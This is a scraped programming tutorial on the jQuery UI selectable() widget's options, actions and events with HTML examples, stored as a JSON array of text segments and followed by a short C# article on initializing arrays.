it in a standard browser which supports javascript, you should see the following output − Product 1 Product 2 Product 3 Product 4 Product 5 Product 6 Product 7 Product 1 Product 2 Product 3 Product 4 Product 5 Product 6 Product 7 Try to click on products, use CTRL key to select multiple products. You will notice that the product number selected is printed at the bottom. Print Add Notes Bookmark this page
[ { "code": null, "e": 2612, "s": 2264, "text": "jQueryUI provides selectable() method to select DOM element individually or in a group. With this method elements can be selected by dragging a box (sometimes called a lasso) with the mouse over the elements. Also, elements can be selected by clicking or dragging while holding the Ctrl/Meta key, allowing for multiple (non-contiguous) selections." }, { "code": null, "e": 2663, "s": 2612, "text": "The selectable() method can be used in two forms −" }, { "code": null, "e": 2712, "s": 2663, "text": "$(selector, context).selectable (options) Method" }, { "code": null, "e": 2761, "s": 2712, "text": "$(selector, context).selectable (options) Method" }, { "code": null, "e": 2819, "s": 2761, "text": "$(selector, context).selectable (\"action\", params) Method" }, { "code": null, "e": 2877, "s": 2819, "text": "$(selector, context).selectable (\"action\", params) Method" }, { "code": null, "e": 3070, "s": 2877, "text": "The selectable (options) method declares that an HTML element contains selectable items. The options parameter is an object that specifies the behavior of the elements involved when selecting." }, { "code": null, "e": 3114, "s": 3070, "text": "$(selector, context).selectable (options);\n" }, { "code": null, "e": 3291, "s": 3114, "text": "You can provide one or more options at a time using Javascript object. If there are more than one options to be provided, then you will separate them using a comma as follows −" }, { "code": null, "e": 3366, "s": 3291, "text": "$(selector, context).selectable({option1: value1, option2: value2..... });" }, { "code": null, "e": 3450, "s": 3366, "text": "The following table lists the different options that can be used with this method −" }, { "code": null, "e": 3571, "s": 3450, "text": "This option is tells which element the selection helper (the lasso) should be appended to. By default its value is body." }, { "code": null, "e": 3589, "s": 3571, "text": "Option - appendTo" }, { "code": null, "e": 3710, "s": 3589, "text": "This option is tells which element the selection helper (the lasso) should be appended to. By default its value is body." }, { "code": null, "e": 3717, "s": 3710, "text": "Syntax" }, { "code": null, "e": 3776, "s": 3717, "text": "$( \".selector\" ).selectable({ appendTo: \"#identifier\" });\n" }, { "code": null, "e": 3932, "s": 3776, "text": "This option if set to true, the position and size of each selectable item is computed at the beginning of a select operation. By default its value is true." }, { "code": null, "e": 3953, "s": 3932, "text": "Option - autoRefresh" }, { "code": null, "e": 4207, "s": 3953, "text": "This option if set to true, the position and size of each selectable item is computed at the beginning of a select operation. By default its value is true. If you have many items, you may want to set this to false and call the refresh() method manually." }, { "code": null, "e": 4214, "s": 4207, "text": "Syntax" }, { "code": null, "e": 4268, "s": 4214, "text": "$( \".selector\" ).selectable({ autoRefresh: false });\n" }, { "code": null, "e": 4395, "s": 4268, "text": "This option forbids selecting if you start selection of elements. By default its value is input,textarea,button,select,option." }, { "code": null, "e": 4411, "s": 4395, "text": "Option - cancel" }, { "code": null, "e": 4538, "s": 4411, "text": "This option forbids selecting if you start selection of elements. By default its value is input,textarea,button,select,option." }, { "code": null, "e": 4545, "s": 4538, "text": "Syntax" }, { "code": null, "e": 4600, "s": 4545, "text": "$( \".selector\" ).selectable({ cancel: \"a,.cancel\" });\n" }, { "code": null, "e": 4769, "s": 4600, "text": "This option is used to set time in milliseconds and defines when the selecting should start. This can be used to prevent unwanted selections. By default its value is 0." }, { "code": null, "e": 4784, "s": 4769, "text": "Option - delay" }, { "code": null, "e": 4953, "s": 4784, "text": "This option is used to set time in milliseconds and defines when the selecting should start. This can be used to prevent unwanted selections. By default its value is 0." }, { "code": null, "e": 4960, "s": 4953, "text": "Syntax" }, { "code": null, "e": 5006, "s": 4960, "text": "$( \".selector\" ).selectable({ delay: 150 });\n" }, { "code": null, "e": 5211, "s": 5006, "text": "This option when set to true, disables the selection mechanism. Users cannot select the elements until the mechanism is restored using the selectable (\"enable\") instruction. By default its value is false." }, { "code": null, "e": 5229, "s": 5211, "text": "Option - disabled" }, { "code": null, "e": 5434, "s": 5229, "text": "This option when set to true, disables the selection mechanism. Users cannot select the elements until the mechanism is restored using the selectable (\"enable\") instruction. By default its value is false." }, { "code": null, "e": 5441, "s": 5434, "text": "Syntax" }, { "code": null, "e": 5491, "s": 5441, "text": "$( \".selector\" ).selectable({ disabled: true });\n" }, { "code": null, "e": 5716, "s": 5491, "text": "This option is the distance (in pixels) the mouse must move to consider the selection in progress. This is useful, for example, to prevent simple clicks from being interpreted as a group selection. By default its value is 0." }, { "code": null, "e": 5734, "s": 5716, "text": "Option - distance" }, { "code": null, "e": 5959, "s": 5734, "text": "This option is the distance (in pixels) the mouse must move to consider the selection in progress. This is useful, for example, to prevent simple clicks from being interpreted as a group selection. By default its value is 0." }, { "code": null, "e": 5966, "s": 5959, "text": "Syntax" }, { "code": null, "e": 6014, "s": 5966, "text": "$( \".selector\" ).selectable({ distance: 30 });\n" }, { "code": null, "e": 6123, "s": 6014, "text": "This option is a selector indicating which elements can be part of the selection. By default its value is *." }, { "code": null, "e": 6139, "s": 6123, "text": "Option - filter" }, { "code": null, "e": 6248, "s": 6139, "text": "This option is a selector indicating which elements can be part of the selection. By default its value is *." }, { "code": null, "e": 6255, "s": 6248, "text": "Syntax" }, { "code": null, "e": 6303, "s": 6255, "text": "$( \".selector\" ).selectable({ filter: \"li\" });\n" }, { "code": null, "e": 6450, "s": 6303, "text": "This option specifies which mode to use for testing whether the selection helper (the lasso) should select an item. By default its value is touch." }, { "code": null, "e": 6469, "s": 6450, "text": "Option - tolerance" }, { "code": null, "e": 6616, "s": 6469, "text": "This option specifies which mode to use for testing whether the selection helper (the lasso) should select an item. By default its value is touch." }, { "code": null, "e": 6638, "s": 6616, "text": "This can be of type −" }, { "code": null, "e": 6741, "s": 6638, "text": "fit − This type indicates a drag selection must completely encompass an element for it to be selected." }, { "code": null, "e": 6844, "s": 6741, "text": "fit − This type indicates a drag selection must completely encompass an element for it to be selected." }, { "code": null, "e": 6951, "s": 6844, "text": "touch − This type indicates the drag rectangle only needs to intersect any portion of the selectable item." }, { "code": null, "e": 7058, "s": 6951, "text": "touch − This type indicates the drag rectangle only needs to intersect any portion of the selectable item." }, { "code": null, "e": 7065, "s": 7058, "text": "Syntax" }, { "code": null, "e": 7117, "s": 7065, "text": "$( \".selector\" ).selectable({ tolerance: \"fit\" });\n" }, { "code": null, "e": 7205, "s": 7117, "text": "The following section will show you a few working examples of selectable functionality." }, { "code": null, "e": 7336, "s": 7205, "text": "The following example demonstrates a simple example of selectable functionality, passing no parameters to the selectable() method." }, { "code": null, "e": 8839, "s": 7336, "text": "<!doctype html>\n<html lang = \"en\">\n <head>\n <meta charset = \"utf-8\">\n <title>jQuery UI selectable-1</title>\n <link href = \"https://code.jquery.com/ui/1.10.4/themes/ui-lightness/jquery-ui.css\"\n rel = \"stylesheet\">\n <script src = \"https://code.jquery.com/jquery-1.10.2.js\"></script>\n <script src = \"https://code.jquery.com/ui/1.10.4/jquery-ui.js\"></script>\n \n <style>\n #selectable-1 .ui-selecting { background: #707070 ; }\n #selectable-1 .ui-selected { background: #EEEEEE; color: #000000; }\n #selectable-1 { list-style-type: none; margin: 0; \n padding: 0; width: 20%; }\n #selectable-1 li { margin: 3px; padding: 0.4em; \n font-size: 16px; height: 18px; }\n .ui-widget-content {\n background: #cedc98;\n border: 1px solid #DDDDDD;\n color: #333333;\n }\n </style>\n <script>\n $(function() {\n $( \"#selectable-1\" ).selectable();\n });\n </script>\n </head>\n \n <body>\n <ol id = \"selectable-1\">\n <li class = \"ui-widget-content\">Product 1</li>\n <li class = \"ui-widget-content\">Product 2</li>\n <li class = \"ui-widget-content\">Product 3</li>\n <li class = \"ui-widget-content\">Product 4</li>\n <li class = \"ui-widget-content\">Product 5</li>\n <li class = \"ui-widget-content\">Product 6</li>\n <li class = \"ui-widget-content\">Product 7</li>\n </ol> \n </body>\n</html>" }, { "code": null, "e": 9038, "s": 8839, "text": "Let us save the above code in an HTML file selectableexample.htm and open it in a standard browser which supports javascript, you should see the following output. Now, you can play with the result −" }, { "code": null, "e": 9110, "s": 9038, "text": "\nProduct 1\nProduct 2\nProduct 3\nProduct 4\nProduct 5\nProduct 6\nProduct 7\n" }, { "code": null, "e": 9120, "s": 9110, "text": "Product 1" }, { "code": null, "e": 9130, "s": 9120, "text": "Product 2" }, { "code": null, "e": 9140, "s": 9130, "text": "Product 3" }, { "code": null, "e": 9150, "s": 9140, "text": "Product 4" }, { "code": null, "e": 9160, "s": 9150, "text": "Product 5" }, { "code": null, "e": 9170, "s": 9160, "text": "Product 6" }, { "code": null, "e": 9180, "s": 9170, "text": "Product 7" }, { "code": null, "e": 9249, "s": 9180, "text": "Try to click on products, use CTRLS key to select multiple products." }, { "code": null, "e": 9368, "s": 9249, "text": "The following example demonstrates the usage of two options delay and distance in the selectable function of JqueryUI." }, { "code": null, "e": 11261, "s": 9368, "text": "<!doctype html>\n<html lang = \"en\">\n <head>\n <meta charset = \"utf-8\">\n <title>jQuery UI Selectable</title>\n <link href = \"https://code.jquery.com/ui/1.10.4/themes/ui-lightness/jquery-ui.css\"\n rel = \"stylesheet\">\n <script src = \"https://code.jquery.com/jquery-1.10.2.js\"></script>\n <script src = \"https://code.jquery.com/ui/1.10.4/jquery-ui.js\"></script>\n\n <style>\n #selectable-2 .ui-selecting,#selectable-3 .ui-selecting { \n background: #707070 ; }\n #selectable-2 .ui-selected,#selectable-3 .ui-selected { \n background: #EEEEEE; color: #000000; }\n #selectable-2,#selectable-3 { list-style-type: none; margin: 0; \n padding: 0; width: 20%; }\n #selectable-2 li,#selectable-3 li { margin: 3px; padding: 0.4em; \n font-size: 16px; height: 18px; }\n .ui-widget-content {\n background: #cedc98;\n border: 1px solid #DDDDDD;\n color: #333333;\n }\n </style>\n \n <script>\n $(function() {\n $( \"#selectable-2\" ).selectable({\n delay : 1000\n });\n $( \"#selectable-3\" ).selectable({\n distance : 100\n });\n });\n </script>\n </head>\n \n <body>\n <h3>Starts after delay of 1000ms</h3>\n <ol id = \"selectable-2\">\n <li class = \"ui-widget-content\">Product 1</li>\n <li class = \"ui-widget-content\">Product 2</li>\n <li class = \"ui-widget-content\">Product 3</li>\n </ol>\n <h3>Starts after mouse moves distance of 100px</h3>\n <ol id = \"selectable-3\">\n <li class = \"ui-widget-content\">Product 4</li>\n <li class = \"ui-widget-content\">Product 5</li>\n <li class = \"ui-widget-content\">Product 6</li>\n <li class = \"ui-widget-content\">Product 7</li>\n </ol>\n </body>\n</html>" }, { "code": null, "e": 11460, "s": 11261, "text": "Let us save the above code in an HTML file selectableexample.htm and open it in a standard browser which supports javascript, you should see the following output. Now, you can play with the result −" }, { "code": null, "e": 11492, "s": 11460, "text": "\nProduct 1\nProduct 2\nProduct 3\n" }, { "code": null, "e": 11502, "s": 11492, "text": "Product 1" }, { "code": null, "e": 11512, "s": 11502, "text": "Product 2" }, { "code": null, "e": 11522, "s": 11512, "text": "Product 3" }, { "code": null, "e": 11564, "s": 11522, "text": "\nProduct 4\nProduct 5\nProduct 6\nProduct 7\n" }, { "code": null, "e": 11574, "s": 11564, "text": "Product 4" }, { "code": null, "e": 11584, "s": 11574, "text": "Product 5" }, { "code": null, "e": 11594, "s": 11584, "text": "Product 6" }, { "code": null, "e": 11604, "s": 11594, "text": "Product 7" }, { "code": null, "e": 11937, "s": 11604, "text": "Try to click on products, use CTRL key to select multiple products. You will notice that selection of the Product 1, Product 2 and Product 3 start after a delay of 1000ms. Selection of the Product 4, Product 5, Product 6 and Product 7 can't be done individually. The selection starts only after the mouse moves a distance of 100px." }, { "code": null, "e": 12056, "s": 11937, "text": "The following example demonstrates the usage of two options delay and distance in the selectable function of JqueryUI." }, { "code": null, "e": 13614, "s": 12056, "text": "<!doctype html>\n<html lang = \"en\">\n <head>\n <meta charset = \"utf-8\">\n <title>jQuery UI selectable-4</title>\n <link href = \"https://code.jquery.com/ui/1.10.4/themes/ui-lightness/jquery-ui.css\"\n rel = \"stylesheet\">\n <script src = \"https://code.jquery.com/jquery-1.10.2.js\"></script>\n <script src = \"https://code.jquery.com/ui/1.10.4/jquery-ui.js\"></script>\n\n <style>\n #selectable-4 .ui-selecting { background: #707070 ; }\n #selectable-4 .ui-selected { background: #EEEEEE; color: #000000; }\n #selectable-4 { list-style-type: none; margin: 0; \n padding: 0; width: 20%; }\n #selectable-4 li { margin: 3px; padding: 0.4em; \n font-size: 16px; height: 18px; }\n .ui-widget-content {\n background: #cedc98;\n border: 1px solid #DDDDDD;\n color: #333333;\n }\n </style>\n \n <script>\n $(function() {\n $( \"#selectable-4\" ).selectable({\n filter : \"li:first-child\"\n });\n });\n </script>\n </head>\n \n <body>\n <ol id = \"selectable-4\">\n <li class = \"ui-widget-content\">Product 1</li>\n <li class = \"ui-widget-content\">Product 2</li>\n <li class = \"ui-widget-content\">Product 3</li>\n <li class = \"ui-widget-content\">Product 4</li>\n <li class = \"ui-widget-content\">Product 5</li>\n <li class = \"ui-widget-content\">Product 6</li>\n <li class = \"ui-widget-content\">Product 7</li>\n </ol>\n </body>\n</html>" }, { "code": null, "e": 13813, "s": 13614, "text": "Let us save the above code in an HTML file selectableexample.htm and open it in a standard browser which supports javascript, you should see the following output. Now, you can play with the result −" }, { "code": null, "e": 13885, "s": 13813, "text": "\nProduct 1\nProduct 2\nProduct 3\nProduct 4\nProduct 5\nProduct 6\nProduct 7\n" }, { "code": null, "e": 13895, "s": 13885, "text": "Product 1" }, { "code": null, "e": 13905, "s": 13895, "text": "Product 2" }, { "code": null, "e": 13915, "s": 13905, "text": "Product 3" }, { "code": null, "e": 13925, "s": 13915, "text": "Product 4" }, { "code": null, "e": 13935, "s": 13925, "text": "Product 5" }, { "code": null, "e": 13945, "s": 13935, "text": "Product 6" }, { "code": null, "e": 13955, "s": 13945, "text": "Product 7" }, { "code": null, "e": 14038, "s": 13955, "text": "Try to click on products. You will notice that only first product can be selected." }, { "code": null, "e": 14335, "s": 14038, "text": "The selectable (\"action\", params) method can perform an action on selectable elements, such as preventing selectable functionality. The action is specified as a string in the first argument (e.g., \"disable\" to stop the selection). Check out the actions that can be passed, in the following table." }, { "code": null, "e": 14389, "s": 14335, "text": "$(selector, context).selectable (\"action\", params);;\n" }, { "code": null, "e": 14473, "s": 14389, "text": "The following table lists the different actions that can be used with this method −" }, { "code": null, "e": 14593, "s": 14473, "text": "This action removes the selectable functionality of an element completely. The elements return to their pre-init state." }, { "code": null, "e": 14610, "s": 14593, "text": "Action - destroy" }, { "code": null, "e": 14730, "s": 14610, "text": "This action removes the selectable functionality of an element completely. The elements return to their pre-init state." }, { "code": null, "e": 14737, "s": 14730, "text": "Syntax" }, { "code": null, "e": 14778, "s": 14737, "text": "$( \".selector\" ).selectable(\"destroy\");\n" }, { "code": null, "e": 14889, "s": 14778, "text": "This action deactivates the selectable functionality of an element. This method does not accept any arguments." }, { "code": null, "e": 14906, "s": 14889, "text": "Action - disable" }, { "code": null, "e": 15026, "s": 14906, "text": "This action removes the selectable functionality of an element completely. The elements return to their pre-init state." }, { "code": null, "e": 15033, "s": 15026, "text": "Syntax" }, { "code": null, "e": 15074, "s": 15033, "text": "$( \".selector\" ).selectable(\"disable\");\n" }, { "code": null, "e": 15181, "s": 15074, "text": "This action enables the selectable functionality of an element. This method does not accept any arguments." }, { "code": null, "e": 15197, "s": 15181, "text": "Action - enable" }, { "code": null, "e": 15304, "s": 15197, "text": "This action enables the selectable functionality of an element. This method does not accept any arguments." }, { "code": null, "e": 15311, "s": 15304, "text": "Syntax" }, { "code": null, "e": 15351, "s": 15311, "text": "$( \".selector\" ).selectable(\"enable\");\n" }, { "code": null, "e": 15430, "s": 15351, "text": "This action gets the value currently associated with the specified optionName." }, { "code": null, "e": 15460, "s": 15430, "text": "Action - option( optionName )" }, { "code": null, "e": 15539, "s": 15460, "text": "This action gets the value currently associated with the specified optionName." }, { "code": null, "e": 15546, "s": 15539, "text": "Syntax" }, { "code": null, "e": 15617, "s": 15546, "text": "var isDisabled = $( \".selector\" ).selectable( \"option\", \"disabled\" );\n" }, { "code": null, "e": 15721, "s": 15617, "text": "This action gets an object containing key/value pairs representing the current selectable options hash." }, { "code": null, "e": 15739, "s": 15721, "text": "Action - option()" }, { "code": null, "e": 15843, "s": 15739, "text": "This action gets an object containing key/value pairs representing the current selectable options hash." }, { "code": null, "e": 15850, "s": 15843, "text": "Syntax" }, { "code": null, "e": 15906, "s": 15850, "text": "var options = $( \".selector\" ).selectable( \"option\" );\n" }, { "code": null, "e": 16105, "s": 15906, "text": "This action sets the value of the selectable option associated with the specified optionName. The argument optionName is name of the option to be set and value is the value to be set for the option." }, { "code": null, "e": 16142, "s": 16105, "text": "Action - option( optionName, value )" }, { "code": null, "e": 16341, "s": 16142, "text": "This action sets the value of the selectable option associated with the specified optionName. The argument optionName is name of the option to be set and value is the value to be set for the option." }, { "code": null, "e": 16348, "s": 16341, "text": "Syntax" }, { "code": null, "e": 16408, "s": 16348, "text": "$( \".selector\" ).selectable( \"option\", \"disabled\", true );\n" }, { "code": null, "e": 16531, "s": 16408, "text": "This action is sets one or more options for the selectable. The argument options is a map of option-value pairs to be set." }, { "code": null, "e": 16558, "s": 16531, "text": "Action - option( options )" }, { "code": null, "e": 16681, "s": 16558, "text": "This action is sets one or more options for the selectable. The argument options is a map of option-value pairs to be set." }, { "code": null, "e": 16688, "s": 16681, "text": "Syntax" }, { "code": null, "e": 16749, "s": 16688, "text": "$( \".selector\" ).selectable( \"option\", { disabled: true } );" }, { "code": null, "e": 16945, "s": 16749, "text": "This action causes the size and position of the selectable elements to be refreshed. Used mostly when the autoRefresh option is disabled (set to false). This method does not accept any arguments." }, { "code": null, "e": 16962, "s": 16945, "text": "Action - refresh" }, { "code": null, "e": 17143, "s": 16962, "text": "This action causes the size and position of the selectable elements to be refreshed. Used mostly when the autoRefresh option is disabled. This method does not accept any arguments." }, { "code": null, "e": 17150, "s": 17143, "text": "Syntax" }, { "code": null, "e": 17191, "s": 17150, "text": "$( \".selector\" ).selectable(\"refresh\");\n" }, { "code": null, "e": 17305, "s": 17191, "text": "This action returns a jQuery object containing the selectable element. This method does not accept any arguments." }, { "code": null, "e": 17321, "s": 17305, "text": "Action - widget" }, { "code": null, "e": 17435, "s": 17321, "text": "This action returns a jQuery object containing the selectable element. This method does not accept any arguments." }, { "code": null, "e": 17442, "s": 17435, "text": "Syntax" }, { "code": null, "e": 17497, "s": 17442, "text": "var widget = $( \".selector\" ).selectable( \"widget\" );\n" }, { "code": null, "e": 17662, "s": 17497, "text": "Now let us see an example using the actions from the above table. The following example demonstrates the use of disable() and option( optionName, value ) methods." }, { "code": null, "e": 19610, "s": 17662, "text": "<!doctype html>\n<html lang = \"en\">\n <head>\n <meta charset = \"utf-8\">\n <title>jQuery UI Selectable</title>\n <link href = \"https://code.jquery.com/ui/1.10.4/themes/ui-lightness/jquery-ui.css\"\n rel = \"stylesheet\">\n <script src = \"https://code.jquery.com/jquery-1.10.2.js\"></script>\n <script src = \"https://code.jquery.com/ui/1.10.4/jquery-ui.js\"></script>\n \n <style>\n #selectable-5 .ui-selecting,#selectable-6 .ui-selecting { \n background: #707070 ; }\n #selectable-5 .ui-selected,#selectable-6 .ui-selected { \n background: #EEEEEE; color: #000000; }\n #selectable-5,#selectable-6 { \n list-style-type: none; margin: 0; padding: 0; width: 20%; }\n #selectable-5 li,#selectable-6 li { \n margin: 3px; padding: 0.4em; font-size: 16px; height: 18px; }\n .ui-widget-content {\n background: #cedc98;\n border: 1px solid #DDDDDD;\n color: #333333;\n }\n </style>\n \n <script>\n $(function() {\n $( \"#selectable-5\" ).selectable();\n $( \"#selectable-5\" ).selectable('disable');\n $( \"#selectable-6\" ).selectable();\n $( \"#selectable-6\" ).selectable( \"option\", \"distance\", 1 );\t\n });\n </script>\n </head>\n \n <body>\n <h3>Disabled using disable() method</h3>\n <ol id = \"selectable-5\">\n <li class = \"ui-widget-content\">Product 1</li>\n <li class = \"ui-widget-content\">Product 2</li>\n <li class = \"ui-widget-content\">Product 3</li>\n </ol>\n <h3>Select using method option( optionName, value )</h3>\n <ol id = \"selectable-6\">\n <li class = \"ui-widget-content\">Product 4</li>\n <li class = \"ui-widget-content\">Product 5</li>\n <li class = \"ui-widget-content\">Product 6</li>\n <li class = \"ui-widget-content\">Product 7</li>\n </ol>\n </body>\n</html>" }, { "code": null, "e": 19774, "s": 19610, "text": "Let us save the above code in an HTML file selectableexample.htm and open it in a standard browser which supports javascript, you should see the following output −" }, { "code": null, "e": 19806, "s": 19774, "text": "\nProduct 1\nProduct 2\nProduct 3\n" }, { "code": null, "e": 19816, "s": 19806, "text": "Product 1" }, { "code": null, "e": 19826, "s": 19816, "text": "Product 2" }, { "code": null, "e": 19836, "s": 19826, "text": "Product 3" }, { "code": null, "e": 19878, "s": 19836, "text": "\nProduct 4\nProduct 5\nProduct 6\nProduct 7\n" }, { "code": null, "e": 19888, "s": 19878, "text": "Product 4" }, { "code": null, "e": 19898, "s": 19888, "text": "Product 5" }, { "code": null, "e": 19908, "s": 19898, "text": "Product 6" }, { "code": null, "e": 19918, "s": 19908, "text": "Product 7" }, { "code": null, "e": 20163, "s": 19918, "text": "Try to click on products, use CTRL key to select multiple products. You will notice that Product 1, Product 2, and Product 3 are disabled. Selection of Product 4, Product 5, Product 6 and Product 7 happens after the mouse moves distance of 1px." }, { "code": null, "e": 20365, "s": 20163, "text": "In addition to the selectable (options) method which we saw in the previous sections, JqueryUI provides event methods which gets triggered for a particular event. These event methods are listed below −" }, { "code": null, "e": 20485, "s": 20365, "text": "This event is triggered when the selectable element is created. Where event is of type Event, and ui is of type Object." }, { "code": null, "e": 20511, "s": 20485, "text": "Event - create(event, ui)" }, { "code": null, "e": 20631, "s": 20511, "text": "This event is triggered when the selectable element is created. Where event is of type Event, and ui is of type Object." }, { "code": null, "e": 20638, "s": 20631, "text": "Syntax" }, { "code": null, "e": 20709, "s": 20638, "text": "$( \".selector\" ).selectable({\n create: function( event, ui ) {}\n});\n" }, { "code": null, "e": 20829, "s": 20709, "text": "This event is triggered for each element that becomes selected. Where event is of type Event, and ui is of type Object." }, { "code": null, "e": 20857, "s": 20829, "text": "Event - selected(event, ui)" }, { "code": null, "e": 21005, "s": 20857, "text": "This event is triggered for each element that becomes selected. Where event is of type Event, and ui is of type Object. Possible values of ui are −" }, { "code": null, "e": 21076, "s": 21005, "text": "selected − This specifies the selectable item that has been selected.." }, { "code": null, "e": 21147, "s": 21076, "text": "selected − This specifies the selectable item that has been selected.." }, { "code": null, "e": 21154, "s": 21147, "text": "Syntax" }, { "code": null, "e": 21227, "s": 21154, "text": "$( \".selector\" ).selectable({\n selected: function( event, ui ) {}\n});\n" }, { "code": null, "e": 21365, "s": 21227, "text": "This event is triggered for each selectable element that’s about to get selected. Where event is of type Event, and ui is of type Object." }, { "code": null, "e": 21394, "s": 21365, "text": "Event - selecting(event, ui)" }, { "code": null, "e": 21560, "s": 21394, "text": "This event is triggered for each selectable element that’s about to get selected. Where event is of type Event, and ui is of type Object. Possible values of ui are −" }, { "code": null, "e": 21647, "s": 21560, "text": "selecting − This specifies a reference to the element that’s about to become selected." }, { "code": null, "e": 21734, "s": 21647, "text": "selecting − This specifies a reference to the element that’s about to become selected." }, { "code": null, "e": 21741, "s": 21734, "text": "Syntax" }, { "code": null, "e": 21815, "s": 21741, "text": "$( \".selector\" ).selectable({\n selecting: function( event, ui ) {}\n});\n" }, { "code": null, "e": 21938, "s": 21815, "text": "This event is triggered at the beginning of the select operation. Where event is of type Event, and ui is of type Object." }, { "code": null, "e": 21963, "s": 21938, "text": "Event - start(event, ui)" }, { "code": null, "e": 22086, "s": 21963, "text": "This event is triggered at the beginning of the select operation. Where event is of type Event, and ui is of type Object." }, { "code": null, "e": 22093, "s": 22086, "text": "Syntax" }, { "code": null, "e": 22163, "s": 22093, "text": "$( \".selector\" ).selectable({\n start: function( event, ui ) {}\n});\n" }, { "code": null, "e": 22280, "s": 22163, "text": "This event is triggered at the end of the select operation. Where event is of type Event, and ui is of type Object." }, { "code": null, "e": 22304, "s": 22280, "text": "Event - stop(event, ui)" }, { "code": null, "e": 22421, "s": 22304, "text": "This event is triggered at the end of the select operation. Where event is of type Event, and ui is of type Object." }, { "code": null, "e": 22428, "s": 22421, "text": "Syntax" }, { "code": null, "e": 22497, "s": 22428, "text": "$( \".selector\" ).selectable({\n stop: function( event, ui ) {}\n});\n" }, { "code": null, "e": 22654, "s": 22497, "text": "This event is triggered at the end of the select operation for each element that becomes unselected. Where event is of type Event, and ui is of type Object." }, { "code": null, "e": 22684, "s": 22654, "text": "Event - unselected(event, ui)" }, { "code": null, "e": 22869, "s": 22684, "text": "This event is triggered at the end of the select operation for each element that becomes unselected. Where event is of type Event, and ui is of type Object. Possible values of ui are −" }, { "code": null, "e": 22962, "s": 22869, "text": "unselected − An element that contains a reference to the element that has become unselected." }, { "code": null, "e": 23055, "s": 22962, "text": "unselected − An element that contains a reference to the element that has become unselected." }, { "code": null, "e": 23062, "s": 23055, "text": "Syntax" }, { "code": null, "e": 23137, "s": 23062, "text": "$( \".selector\" ).selectable({\n unselected: function( event, ui ) {}\n});\n" }, { "code": null, "e": 23302, "s": 23137, "text": "This event is triggered during select operation for each selected element that’s about to become unselected. Where event is of type Event, and ui is of type Object." }, { "code": null, "e": 23333, "s": 23302, "text": "Event - unselecting(event, ui)" }, { "code": null, "e": 23526, "s": 23333, "text": "This event is triggered during select operation for each selected element that’s about to become unselected. Where event is of type Event, and ui is of type Object. Possible values of ui are −" }, { "code": null, "e": 23627, "s": 23526, "text": "unselecting − An element that contains a reference to the element that’s about to become unselected." }, { "code": null, "e": 23728, "s": 23627, "text": "unselecting − An element that contains a reference to the element that’s about to become unselected." }, { "code": null, "e": 23735, "s": 23728, "text": "Syntax" }, { "code": null, "e": 23811, "s": 23735, "text": "$( \".selector\" ).selectable({\n unselecting: function( event, ui ) {}\n});\n" }, { "code": null, "e": 23955, "s": 23811, "text": "The following example demonstrates the event method usage during selectable functionality. This example demonstrates the use of event selected." }, { "code": null, "e": 26150, "s": 23955, "text": "<!doctype html>\n<html lang = \"en\">\n <head>\n <meta charset = \"utf-8\">\n <title>jQuery UI selectable-7</title>\n <link href = \"https://code.jquery.com/ui/1.10.4/themes/ui-lightness/jquery-ui.css\"\n rel = \"stylesheet\">\n <script src = \"https://code.jquery.com/jquery-1.10.2.js\"></script>\n <script src = \"https://code.jquery.com/ui/1.10.4/jquery-ui.js\"></script>\n \n <style>\n #selectable-7 .ui-selecting { background: #707070 ; }\n #selectable-7 .ui-selected { background: #EEEEEE; color: #000000; }\n #selectable-7 { list-style-type: none; margin: 0; \n padding: 0; width: 20%; }\n #selectable-7 li { margin: 3px; padding: 0.4em; \n font-size: 16px; height: 18px; }\n .ui-widget-content {\n background: #cedc98;\n border: 1px solid #DDDDDD;\n color: #333333;\n }\n .resultarea {\n background: #cedc98;\n border-top: 1px solid #000000;\n border-bottom: 1px solid #000000;\n color: #333333;\n font-size:14px;\n }\n </style>\n \n <script>\n $(function() {\n $( \"#selectable-7\" ).selectable({\n selected: function() {\n var result = $( \"#result\" ).empty();\n $( \".ui-selected\", this ).each(function() {\n var index = $( \"#selectable-7 li\" ).index( this );\n result.append( \" #\" + ( index + 1 ) );\n });\n }\n });\n });\n </script>\n </head>\n \n <body>\n <h3>Events</h3>\n <ol id = \"selectable-7\">\n <li class = \"ui-widget-content\">Product 1</li>\n <li class = \"ui-widget-content\">Product 2</li>\n <li class = \"ui-widget-content\">Product 3</li>\n <li class = \"ui-widget-content\">Product 4</li>\n <li class = \"ui-widget-content\">Product 5</li>\n <li class = \"ui-widget-content\">Product 6</li>\n <li class = \"ui-widget-content\">Product 7</li>\n </ol>\n <span class = \"resultarea\">Selected Product</span>>\n <span id = result class = \"resultarea\"></span>\n </body>\n</html>" }, { "code": null, "e": 26314, "s": 26150, "text": "Let us save the above code in an HTML file selectableexample.htm and open it in a standard browser which supports javascript, you should see the following output −" }, { "code": null, "e": 26386, "s": 26314, "text": "\nProduct 1\nProduct 2\nProduct 3\nProduct 4\nProduct 5\nProduct 6\nProduct 7\n" }, { "code": null, "e": 26396, "s": 26386, "text": "Product 1" }, { "code": null, "e": 26406, "s": 26396, "text": "Product 2" }, { "code": null, "e": 26416, "s": 26406, "text": "Product 3" }, { "code": null, "e": 26426, "s": 26416, "text": "Product 4" }, { "code": null, "e": 26436, "s": 26426, "text": "Product 5" }, { "code": null, "e": 26446, "s": 26436, "text": "Product 6" }, { "code": null, "e": 26456, "s": 26446, "text": "Product 7" }, { "code": null, "e": 26599, "s": 26456, "text": "Try to click on products, use CTRL key to select multiple products. You will notice that the product number selected is printed at the bottom." }, { "code": null, "e": 26606, "s": 26599, "text": " Print" }, { "code": null, "e": 26617, "s": 26606, "text": " Add Notes" } ]
How to initialize an array in C#?
All arrays consist of contiguous memory locations. The lowest address corresponds to the first element and the highest address to the last element. Firstly, declare an array. int[] rank; But declaring an array does not initialize the array in the memory. When the array variable is initialized, you can assign values to the array. Array is a reference type, so you need to use the new keyword to create an instance of the array. For example, int[] rank = new int[5]; You can assign values to an array at the time of declaration. int[] rank = { 1, 2, 3,4,5}; With that, you can also create and initialize an array in a single line. int [] rank = new int[5] { 1, 2, 3, 4, 5};
